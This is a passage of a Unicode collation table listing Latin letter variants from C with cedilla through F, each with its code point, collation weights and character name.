[.1BF5.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER C WITH CEDILLA +1E09 ; [.1BF5.0020.0002][.0000.0030.0002][.0000.0024.0002] # LATIN SMALL LETTER C WITH CEDILLA AND ACUTE +1E08 ; [.1BF5.0020.0008][.0000.0030.0002][.0000.0024.0002] # LATIN CAPITAL LETTER C WITH CEDILLA AND ACUTE +3388 ; [.1BF5.0020.001C][.1BC2.0020.001C][.1CF2.0020.001C] # SQUARE CAL +33C4 ; [.1BF5.0020.001C][.1BF5.0020.001C] # SQUARE CC +1F12D ; [.1BF5.0020.000C][.1C0A.0020.000C] # CIRCLED CD +33C5 ; [.1BF5.0020.001C][.1C0A.0020.001C] # SQUARE CD +33C6 ; [.1BF5.0020.001D][*0605.0020.001C][.1CE0.0020.001C][.1C6F.0020.001C] # SQUARE C OVER KG +1F191 ; [.1BF5.0020.001D][.1CF2.0020.001D] # SQUARED CL +339D ; [.1BF5.0020.001C][.1D25.0020.001C] # SQUARE CM +33A0 ; [.1BF5.0020.001C][.1D25.0020.001C][.1BBA.0020.001C] # SQUARE CM SQUARED +33A4 ; [.1BF5.0020.001C][.1D25.0020.001C][.1BBB.0020.001C] # SQUARE CM CUBED +2105 ; [.1BF5.0020.0004][*038D.0020.0004][.1D58.0020.0004] # CARE OF +33C7 ; [.1BF5.0020.001D][.1D58.0020.001C][*0274.0020.001C] # SQUARE CO +1F192 ; [.1BF5.0020.001D][.1D58.0020.001D][.1D58.0020.001D][.1CF2.0020.001D] # SQUARED COOL +2106 ; [.1BF5.0020.0004][*038D.0020.0004][.1E30.0020.0004] # CADA UNA +1D04 ; [.1BF9.0020.0002] # LATIN LETTER SMALL CAPITAL C +023C ; [.1BFA.0020.0002] # LATIN SMALL LETTER C WITH STROKE +023B ; [.1BFA.0020.0008] # LATIN CAPITAL LETTER C WITH STROKE +A793 ; [.1BFE.0020.0002] # LATIN SMALL LETTER C WITH BAR +A792 ; [.1BFE.0020.0008] # LATIN CAPITAL LETTER C WITH BAR +A794 ; [.1BFF.0020.0002] # LATIN SMALL LETTER C WITH PALATAL HOOK +0188 ; [.1C00.0020.0002] # LATIN SMALL LETTER C WITH HOOK +0187 ; [.1C00.0020.0008] # LATIN CAPITAL LETTER C WITH HOOK +0255 ; [.1C04.0020.0002] # LATIN SMALL LETTER C WITH CURL +1D9D ; [.1C04.0020.0014] # MODIFIER LETTER SMALL C WITH CURL +2184 ; [.1C08.0020.0002] # LATIN SMALL LETTER REVERSED C +2183 ; [.1C08.0020.0008] # ROMAN NUMERAL REVERSED ONE HUNDRED +A73F ; [.1C09.0020.0002] # LATIN SMALL LETTER REVERSED C WITH DOT +A73E ; [.1C09.0020.0008] # LATIN CAPITAL LETTER REVERSED C WITH DOT +0064 ; [.1C0A.0020.0002] # LATIN SMALL LETTER D +FF44 ; [.1C0A.0020.0003] # FULLWIDTH LATIN SMALL LETTER D +0369 ; [.1C0A.0020.0004] # COMBINING LATIN SMALL LETTER D +217E ; [.1C0A.0020.0004] # SMALL ROMAN NUMERAL FIVE HUNDRED +249F ; [*0310.0020.0004][.1C0A.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER D +2146 ; [.1C0A.0020.0005] # DOUBLE-STRUCK ITALIC SMALL D +1D41D ; [.1C0A.0020.0005] # MATHEMATICAL BOLD SMALL D +1D451 ; [.1C0A.0020.0005] # MATHEMATICAL ITALIC SMALL D +1D485 ; [.1C0A.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL D +1D4B9 ; [.1C0A.0020.0005] # MATHEMATICAL SCRIPT SMALL D +1D4ED ; [.1C0A.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL D +1D521 ; [.1C0A.0020.0005] # MATHEMATICAL FRAKTUR SMALL D +1D555 ; [.1C0A.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL D +1D589 ; [.1C0A.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL D +1D5BD ; [.1C0A.0020.0005] # MATHEMATICAL SANS-SERIF SMALL D +1D5F1 ; [.1C0A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL D +1D625 ; [.1C0A.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL D +1D659 ; [.1C0A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL D +1D68D ; [.1C0A.0020.0005] # MATHEMATICAL MONOSPACE SMALL D +24D3 ; [.1C0A.0020.0006] # CIRCLED LATIN SMALL LETTER D +0044 ; [.1C0A.0020.0008] # LATIN CAPITAL LETTER D +FF24 ; [.1C0A.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER D +216E ; [.1C0A.0020.000A] # ROMAN NUMERAL FIVE HUNDRED +1F113 ; [*0310.0020.0004][.1C0A.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER D +2145 ; [.1C0A.0020.000B] # DOUBLE-STRUCK ITALIC CAPITAL D +1D403 ; [.1C0A.0020.000B] # MATHEMATICAL BOLD CAPITAL D +1D437 ; [.1C0A.0020.000B] # MATHEMATICAL ITALIC CAPITAL D +1D46B ; [.1C0A.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL D +1D49F ; [.1C0A.0020.000B] # MATHEMATICAL SCRIPT CAPITAL D +1D4D3 ; [.1C0A.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL D +1D507 ; [.1C0A.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL D +1D53B ; [.1C0A.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL D +1D56F ; [.1C0A.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL D +1D5A3 ; [.1C0A.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL D +1D5D7 ; [.1C0A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL D +1D60B ; [.1C0A.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL D +1D63F ; [.1C0A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL D +1D673 ; [.1C0A.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL D +24B9 ; [.1C0A.0020.000C] # CIRCLED LATIN CAPITAL LETTER D +1F153 ; [.1C0A.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER D +1D48 ; [.1C0A.0020.0014] # MODIFIER LETTER SMALL D +1D30 ; [.1C0A.0020.001D] # MODIFIER LETTER CAPITAL D +1F133 ; [.1C0A.0020.001D] # SQUARED LATIN CAPITAL LETTER D +1F173 ; [.1C0A.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER D +010F ; [.1C0A.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER D WITH CARON +010E ; [.1C0A.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER D WITH CARON +1E0B ; [.1C0A.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER D WITH DOT ABOVE +1E0A ; [.1C0A.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER D WITH DOT ABOVE +1E11 ; [.1C0A.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER D WITH CEDILLA +1E10 ; [.1C0A.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER D WITH CEDILLA +0111 ; [.1C0A.0020.0002][.0000.0039.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0A.0020.0008][.0000.0039.0002] # LATIN CAPITAL LETTER D WITH STROKE +1E0D ; [.1C0A.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER D WITH DOT BELOW +1E0C ; [.1C0A.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER D WITH DOT BELOW +1E13 ; [.1C0A.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER D WITH CIRCUMFLEX BELOW +1E12 ; [.1C0A.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER D WITH CIRCUMFLEX BELOW +1E0F ; [.1C0A.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER D WITH LINE BELOW +1E0E ; [.1C0A.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER D WITH LINE BELOW +00F0 ; [.1C0A.0020.0004][.0000.010B.0004] # LATIN SMALL LETTER ETH +1DD9 ; [.1C0A.0020.0004][.0000.010B.0004] # COMBINING LATIN SMALL LETTER ETH +00D0 ; [.1C0A.0020.000A][.0000.010B.0004] # LATIN CAPITAL LETTER ETH +1D9E ; [.1C0A.0020.0014][.0000.010B.0014] # MODIFIER LETTER SMALL ETH +1DD8 ; [.1C0A.0020.0004][.0000.010C.0004] # COMBINING LATIN SMALL LETTER INSULAR D +A77A ; [.1C0A.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER INSULAR D +A779 ; [.1C0A.0020.000A][.0000.010C.0004] # LATIN CAPITAL LETTER INSULAR D +3372 ; [.1C0A.0020.001C][.1BC2.0020.001C] # SQUARE DA +0238 ; [.1C0A.0020.0004][.1BDB.0020.0004] # LATIN SMALL LETTER DB DIGRAPH +33C8 ; [.1C0A.0020.001C][.1BDB.0020.001D] # SQUARE DB +1F190 ; [.1C0A.0020.001D][.1CC7.0020.001D] # SQUARE DJ +3397 ; [.1C0A.0020.001C][.1CF2.0020.001C] # SQUARE DL +3377 ; [.1C0A.0020.001C][.1D25.0020.001C] # SQUARE DM +3378 ; [.1C0A.0020.001C][.1D25.0020.001C][.1BBA.0020.001C] # SQUARE DM SQUARED +3379 ; [.1C0A.0020.001C][.1D25.0020.001C][.1BBB.0020.001C] # SQUARE DM CUBED +01F3 ; [.1C0A.0020.0004][.1E9C.0020.0004] # LATIN SMALL LETTER DZ +02A3 ; [.1C0A.0020.0004][.1E9C.0020.0004] # LATIN SMALL LETTER DZ DIGRAPH +01F2 ; [.1C0A.0020.000A][.1E9C.0020.0004] # LATIN CAPITAL LETTER D WITH SMALL LETTER Z +01F1 ; [.1C0A.0020.000A][.1E9C.0020.000A] # LATIN CAPITAL LETTER DZ +01C6 ; [.1C0A.0020.0004][.1E9C.0020.0004][.0000.0028.0004] # LATIN SMALL LETTER DZ WITH CARON +01C5 ; [.1C0A.0020.000A][.1E9C.0020.0004][.0000.0028.0004] # LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON +01C4 ; [.1C0A.0020.000A][.1E9C.0020.000A][.0000.0028.0004] # LATIN CAPITAL LETTER DZ WITH CARON +02A5 ; [.1C0A.0020.0004][.1EAF.0020.0004] # LATIN SMALL LETTER DZ DIGRAPH WITH CURL +02A4 ; [.1C0A.0020.0004][.1EB9.0020.0004] # LATIN SMALL LETTER DEZH DIGRAPH +1D05 ; [.1C0E.0020.0002] # LATIN LETTER SMALL CAPITAL D +1D06 ; [.1C0F.0020.0002] # LATIN LETTER SMALL CAPITAL ETH +1D6D ; [.1C10.0020.0002] # LATIN SMALL LETTER D WITH MIDDLE TILDE +1D81 ; [.1C11.0020.0002] # LATIN SMALL LETTER D WITH PALATAL HOOK +0256 ; [.1C12.0020.0002] # LATIN SMALL LETTER D WITH TAIL +0189 ; [.1C12.0020.0008] # LATIN CAPITAL LETTER AFRICAN D +0257 ; [.1C16.0020.0002] # LATIN SMALL LETTER D WITH HOOK +018A ; [.1C16.0020.0008] # LATIN CAPITAL LETTER D WITH HOOK +1D91 ; [.1C1A.0020.0002] # LATIN SMALL LETTER D WITH HOOK AND TAIL +018C ; [.1C1B.0020.0002] # LATIN SMALL LETTER D WITH TOPBAR +018B ; [.1C1B.0020.0008] # LATIN CAPITAL LETTER D WITH TOPBAR +0221 ; [.1C1F.0020.0002] # LATIN SMALL LETTER D WITH CURL +A771 ; [.1C23.0020.0002] # LATIN SMALL LETTER DUM +1E9F ; [.1C24.0020.0002] # LATIN SMALL LETTER DELTA +0065 ; [.1C25.0020.0002] # LATIN SMALL LETTER E +FF45 ; [.1C25.0020.0003] # FULLWIDTH LATIN SMALL LETTER E +0364 ; [.1C25.0020.0004] # COMBINING LATIN SMALL LETTER E +24A0 ; [*0310.0020.0004][.1C25.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER E +212F ; [.1C25.0020.0005] # SCRIPT SMALL E +2147 ; [.1C25.0020.0005] # DOUBLE-STRUCK ITALIC SMALL E +1D41E ; [.1C25.0020.0005] # MATHEMATICAL BOLD SMALL E +1D452 ; [.1C25.0020.0005] # MATHEMATICAL ITALIC SMALL E +1D486 ; [.1C25.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL E +1D4EE ; [.1C25.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL E +1D522 ; [.1C25.0020.0005] # MATHEMATICAL FRAKTUR SMALL E +1D556 ; [.1C25.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL E +1D58A ; [.1C25.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL E +1D5BE ; [.1C25.0020.0005] # MATHEMATICAL SANS-SERIF SMALL E +1D5F2 ; [.1C25.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL E +1D626 ; [.1C25.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL E +1D65A ; [.1C25.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL E +1D68E ; [.1C25.0020.0005] # MATHEMATICAL MONOSPACE SMALL E +24D4 ; [.1C25.0020.0006] # CIRCLED LATIN SMALL LETTER E +0045 ; [.1C25.0020.0008] # LATIN CAPITAL LETTER E +FF25 ; [.1C25.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER E +1F114 ; [*0310.0020.0004][.1C25.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER E +2130 ; [.1C25.0020.000B] # SCRIPT CAPITAL E +1D404 ; [.1C25.0020.000B] # MATHEMATICAL BOLD CAPITAL E +1D438 ; [.1C25.0020.000B] # MATHEMATICAL ITALIC CAPITAL E +1D46C ; [.1C25.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL E +1D4D4 ; [.1C25.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL E +1D508 ; [.1C25.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL E +1D53C ; [.1C25.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL E +1D570 ; [.1C25.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL E +1D5A4 ; [.1C25.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL E +1D5D8 ; [.1C25.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL E +1D60C ; [.1C25.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL E +1D640 ; [.1C25.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL E +1D674 ; [.1C25.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL E +24BA ; [.1C25.0020.000C] # CIRCLED LATIN CAPITAL LETTER E +1F154 ; [.1C25.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER E +1D49 ; [.1C25.0020.0014] # MODIFIER LETTER SMALL E +2091 ; [.1C25.0020.0015] # LATIN SUBSCRIPT SMALL LETTER E +1D31 ; [.1C25.0020.001D] # MODIFIER LETTER CAPITAL E +1F134 ; [.1C25.0020.001D] # SQUARED LATIN CAPITAL LETTER E +1F174 ; [.1C25.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER E +00E9 ; [.1C25.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH ACUTE +00C9 ; [.1C25.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH ACUTE +00E8 ; [.1C25.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH GRAVE +00C8 ; [.1C25.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH GRAVE +0115 ; [.1C25.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER E WITH BREVE +0114 ; [.1C25.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER E WITH BREVE +00EA ; [.1C25.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +00CA ; [.1C25.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +1EBF ; [.1C25.0020.0002][.0000.0027.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +1EBE ; [.1C25.0020.0008][.0000.0027.0002][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +1EC1 ; [.1C25.0020.0002][.0000.0027.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +1EC0 ; [.1C25.0020.0008][.0000.0027.0002][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +1EC5 ; [.1C25.0020.0002][.0000.0027.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE +1EC4 ; [.1C25.0020.0008][.0000.0027.0002][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE +1EC3 ; [.1C25.0020.0002][.0000.0027.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC2 ; [.1C25.0020.0008][.0000.0027.0002][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +011B ; [.1C25.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER E WITH CARON +011A ; [.1C25.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER E WITH CARON +00EB ; [.1C25.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER E WITH DIAERESIS +00CB ; [.1C25.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER E WITH DIAERESIS +1EBD ; [.1C25.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH TILDE +1EBC ; [.1C25.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH TILDE +0117 ; [.1C25.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER E WITH DOT ABOVE +0116 ; [.1C25.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER E WITH DOT ABOVE +0229 ; [.1C25.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER E WITH CEDILLA +0228 ; [.1C25.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER E WITH CEDILLA +1E1D ; [.1C25.0020.0002][.0000.0030.0002][.0000.0026.0002] # LATIN SMALL LETTER E WITH CEDILLA AND BREVE +1E1C ; [.1C25.0020.0008][.0000.0030.0002][.0000.0026.0002] # LATIN CAPITAL LETTER E WITH CEDILLA AND BREVE +0119 ; [.1C25.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER E WITH OGONEK +0118 ; [.1C25.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER E WITH OGONEK +0113 ; [.1C25.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER E WITH MACRON +0112 ; [.1C25.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER E WITH MACRON +1E17 ; [.1C25.0020.0002][.0000.0032.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH MACRON AND ACUTE +1E16 ; [.1C25.0020.0008][.0000.0032.0002][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH MACRON AND ACUTE +1E15 ; [.1C25.0020.0002][.0000.0032.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH MACRON AND GRAVE +1E14 ; [.1C25.0020.0008][.0000.0032.0002][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH MACRON AND GRAVE +1EBB ; [.1C25.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH HOOK ABOVE +1EBA ; [.1C25.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH HOOK ABOVE +0205 ; [.1C25.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER E WITH DOUBLE GRAVE +0204 ; [.1C25.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER E WITH DOUBLE GRAVE +0207 ; [.1C25.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER E WITH INVERTED BREVE +0206 ; [.1C25.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER E WITH INVERTED BREVE +1EB9 ; [.1C25.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH DOT BELOW +1EB8 ; [.1C25.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH DOT BELOW +1EC7 ; [.1C25.0020.0002][.0000.0042.0002][.0000.0027.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW +1EC6 ; [.1C25.0020.0008][.0000.0042.0002][.0000.0027.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW +1E19 ; [.1C25.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX BELOW +1E18 ; [.1C25.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX BELOW +1E1B ; [.1C25.0020.0002][.0000.0048.0002] # LATIN SMALL LETTER E WITH TILDE BELOW +1E1A ; [.1C25.0020.0008][.0000.0048.0002] # LATIN CAPITAL LETTER E WITH TILDE BELOW +32CD ; [.1C25.0020.001C][.1DAE.0020.001C][.1C6F.0020.001C] # SQUARE ERG +32CE ; [.1C25.0020.001C][.1E5E.0020.001D] # SQUARE EV +1D07 ; [.1C29.0020.0002] # LATIN LETTER SMALL CAPITAL E +AB32 ; [.1C2A.0020.0002] # LATIN SMALL LETTER BLACKLETTER E +AB33 ; [.1C2B.0020.0002] # LATIN SMALL LETTER BARRED E +0247 ; [.1C2C.0020.0002] # LATIN SMALL LETTER E WITH STROKE +0246 ; [.1C2C.0020.0008] # LATIN CAPITAL LETTER E WITH STROKE +1D92 ; [.1C30.0020.0002] # LATIN SMALL LETTER E WITH RETROFLEX HOOK +AB34 ; [.1C31.0020.0002] # LATIN SMALL LETTER E WITH FLOURISH +2C78 ; [.1C32.0020.0002] # LATIN SMALL LETTER E WITH NOTCH +01DD ; [.1C33.0020.0002] # LATIN SMALL LETTER TURNED E +018E ; [.1C33.0020.0008] # LATIN CAPITAL LETTER REVERSED E +1D32 ; [.1C33.0020.001D] # MODIFIER LETTER CAPITAL REVERSED E +2C7B ; [.1C37.0020.0002] # LATIN LETTER SMALL CAPITAL TURNED E +0259 ; [.1C38.0020.0002] # LATIN SMALL LETTER SCHWA +1DEA ; [.1C38.0020.0004] # COMBINING LATIN SMALL LETTER SCHWA +018F ; [.1C38.0020.0008] # LATIN CAPITAL LETTER SCHWA +1D4A ; [.1C38.0020.0014] # MODIFIER LETTER SMALL SCHWA +2094 ; [.1C38.0020.0015] # LATIN SUBSCRIPT SMALL LETTER SCHWA +1D95 ; [.1C3C.0020.0002] # LATIN SMALL LETTER SCHWA WITH RETROFLEX HOOK +025B ; [.1C3D.0020.0002] # LATIN SMALL LETTER OPEN E +0190 ; [.1C3D.0020.0008] # LATIN CAPITAL LETTER OPEN E +2107 ; [.1C3D.0020.000A] # EULER CONSTANT +1D4B ; [.1C3D.0020.0014] # MODIFIER LETTER SMALL OPEN E +1D93 ; [.1C41.0020.0002] # LATIN SMALL LETTER OPEN E WITH RETROFLEX HOOK +0258 ; [.1C42.0020.0002] # LATIN SMALL LETTER REVERSED E +025A ; [.1C46.0020.0002] # LATIN SMALL LETTER SCHWA WITH HOOK +025C ; [.1C4A.0020.0002] # LATIN SMALL LETTER REVERSED OPEN E +A7AB ; [.1C4A.0020.0008] # LATIN CAPITAL LETTER REVERSED OPEN E +1D9F ; [.1C4A.0020.0014] # MODIFIER LETTER SMALL REVERSED OPEN E +1D94 ; [.1C4E.0020.0002] # LATIN SMALL LETTER REVERSED OPEN E WITH RETROFLEX HOOK +1D08 ; [.1C4F.0020.0002] # LATIN SMALL LETTER TURNED OPEN E +1D4C ; [.1C4F.0020.0014] # MODIFIER LETTER SMALL TURNED OPEN E +025D ; [.1C50.0020.0002] # LATIN SMALL LETTER REVERSED OPEN E WITH HOOK +025E ; [.1C54.0020.0002] # LATIN SMALL LETTER CLOSED REVERSED OPEN E +029A ; [.1C58.0020.0002] # LATIN SMALL LETTER CLOSED OPEN E +0264 ; [.1C5C.0020.0002] # LATIN SMALL LETTER RAMS HORN +0066 ; [.1C60.0020.0002] # LATIN SMALL LETTER F +FF46 ; [.1C60.0020.0003] # FULLWIDTH LATIN SMALL LETTER F +1DEB ; [.1C60.0020.0004] # COMBINING LATIN SMALL LETTER F +24A1 ; [*0310.0020.0004][.1C60.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER F +1D41F ; [.1C60.0020.0005] # MATHEMATICAL BOLD SMALL F +1D453 ; [.1C60.0020.0005] # MATHEMATICAL ITALIC SMALL F +1D487 ; [.1C60.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL F +1D4BB ; [.1C60.0020.0005] # MATHEMATICAL SCRIPT SMALL F +1D4EF ; [.1C60.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL F +1D523 ; [.1C60.0020.0005] # MATHEMATICAL FRAKTUR SMALL F +1D557 ; [.1C60.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL F +1D58B ; [.1C60.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL F +1D5BF ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF SMALL F +1D5F3 ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL F +1D627 ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL F +1D65B ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL F +1D68F ; [.1C60.0020.0005] # MATHEMATICAL MONOSPACE SMALL F +24D5 ; [.1C60.0020.0006] # CIRCLED LATIN SMALL LETTER F +0046 ; [.1C60.0020.0008] # LATIN CAPITAL LETTER F +FF26 ; [.1C60.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER F +2109 ; [*04D7.0020.0004][.1C60.0020.000A] # DEGREE FAHRENHEIT +1F115 ; [*0310.0020.0004][.1C60.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER F +2131 ; [.1C60.0020.000B] # SCRIPT CAPITAL F +1D405 ; [.1C60.0020.000B] # MATHEMATICAL BOLD CAPITAL F +1D439 ; [.1C60.0020.000B] # MATHEMATICAL ITALIC CAPITAL F +1D46D ; [.1C60.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL F +1D4D5 ; [.1C60.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL F +1D509 ; [.1C60.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL F +1D53D ; [.1C60.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL F +1D571 ; [.1C60.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL F +1D5A5 ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL F +1D5D9 ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL F +1D60D ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL F +1D641 ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL F +1D675 ; [.1C60.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL F +24BB ; [.1C60.0020.000C] # CIRCLED LATIN CAPITAL LETTER F +1F155 ; [.1C60.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER F +1DA0 ; [.1C60.0020.0014] # MODIFIER LETTER SMALL F +1F135 ; [.1C60.0020.001D] # SQUARED LATIN CAPITAL LETTER F +1F175 ; [.1C60.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER F +1E1F ; [.1C60.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER F WITH DOT ABOVE +1E1E ; [.1C60.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER F WITH DOT ABOVE +A77C ; [.1C60.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER INSULAR F +A77B ; [.1C60.0020.000A][.0000.010C.0004] # LATIN CAPITAL LETTER INSULAR F +213B ; [.1C60.0020.000A][.1BC2.0020.000A][.1E7A.0020.000A] # FACSIMILE SIGN +FB00 ; [.1C60.0020.0004][.1C60.0020.0004] # LATIN SMALL LIGATURE FF +FB03 ; [.1C60.0020.0004][.1C60.0020.0004][.1CAD.0020.0004] # LATIN SMALL LIGATURE FFI +FB04 ; [.1C60.0020.0004][.1C60.0020.0004][.1CF2.0020.0004] # LATIN SMALL LIGATURE FFL +FB01 ; [.1C60.0020.0004][.1CAD.0020.0004] # LATIN SMALL LIGATURE FI +FB02 ; [.1C60.0020.0004][.1CF2.0020.0004] # LATIN SMALL LIGATURE FL +3399 ; [.1C60.0020.001C][.1D25.0020.001C] # SQUARE FM +02A9 ; [.1C60.0020.0004][.1D53.0020.0004] # LATIN SMALL LETTER FENG DIGRAPH +1F193 ; [.1C60.0020.001D][.1DAE.0020.001D][.1C25.0020.001D][.1C25.0020.001D] # SQUARED FREE +A730 ; [.1C64.0020.0002] # LATIN LETTER SMALL CAPITAL F +AB35 ; [.1C65.0020.0002] # LATIN SMALL LETTER LENIS F +A799 ; [.1C66.0020.0002] # LATIN SMALL LETTER F WITH STROKE +A798 ; [.1C66.0020.0008] # LATIN CAPITAL LETTER F WITH STROKE +1D6E ; [.1C67.0020.0002] # LATIN SMALL LETTER F WITH MIDDLE TILDE +1D82 ; [.1C68.0020.0002] # LATIN SMALL LETTER F WITH PALATAL HOOK +0192 ; 